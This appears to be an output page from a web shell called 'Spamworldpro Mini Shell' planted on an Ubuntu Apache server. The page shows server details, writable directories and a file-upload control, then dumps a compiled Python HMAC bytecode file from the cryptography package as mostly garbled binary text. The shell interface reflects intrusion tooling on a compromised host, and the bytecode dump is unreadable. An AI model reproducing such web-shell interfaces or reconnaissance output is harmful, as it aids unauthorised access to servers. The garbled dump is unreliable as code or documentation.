Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cryptography/hazmat/primitives/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cryptography/hazmat/primitives/__pycache__/hmac.cpython-310.pyc
o

�)%a	�@sZddlmZddlmZmZmZddlmZddlm	Z	ddl
mZGdd�dej�Z
dS)	�)�utils)�AlreadyFinalized�UnsupportedAlgorithm�_Reasons)�_get_backend)�HMACBackend)�hashesc@sleZdZ		ddedejfdd�Ze�d�Z	deddfd	d
�Z
ddd�Zdefd
d�Zdeddfdd�Z
dS)�HMACN�key�	algorithmcCslt|�}t|t�stdtj��t|tj�std��||_	||_
||_|dur1|j
�||j
�|_dS||_dS)Nz.Backend object does not implement HMACBackend.z*Expected instance of hashes.HashAlgorithm.)r�
isinstancerrr�BACKEND_MISSING_INTERFACEr�
HashAlgorithm�	TypeError�
_algorithm�_backend�_key�create_hmac_ctxr�_ctx)�selfr
r�backend�ctx�r�E/usr/lib/python3/dist-packages/cryptography/hazmat/primitives/hmac.py�__init__s
�
z
HMAC.__init__r�data�returncCs.|jdur	td��t�d|�|j�|�dS)N�Context was already finalized.r)rrr�_check_byteslike�update)rrrrrr-s
zHMAC.updatecCs.|jdur	td��t|j|j|j|j��d�S)Nr)rr)rrr	rrr�copy)rrrrr 3s
�z	HMAC.copycCs&|jdur	td��|j��}d|_|S)Nr)rr�finalize)r�digestrrrr!=s


z
HMAC.finalize�	signaturecCs:t�d|�|jdurtd��|jd}|_|�|�dS)Nr#r)r�_check_bytesrr�verify)rr#rrrrr%Ds

zHMAC.verify)NN)rr	)�__name__�
__module__�__qualname__�bytesrrrr�read_only_propertyrrr r!r%rrrrr	s��
�


r	N)�cryptographyr�cryptography.exceptionsrrr�cryptography.hazmat.backendsr�'cryptography.hazmat.backends.interfacesr�cryptography.hazmat.primitivesr�HashContextr	rrrr�<module>s

Spamworldpro Mini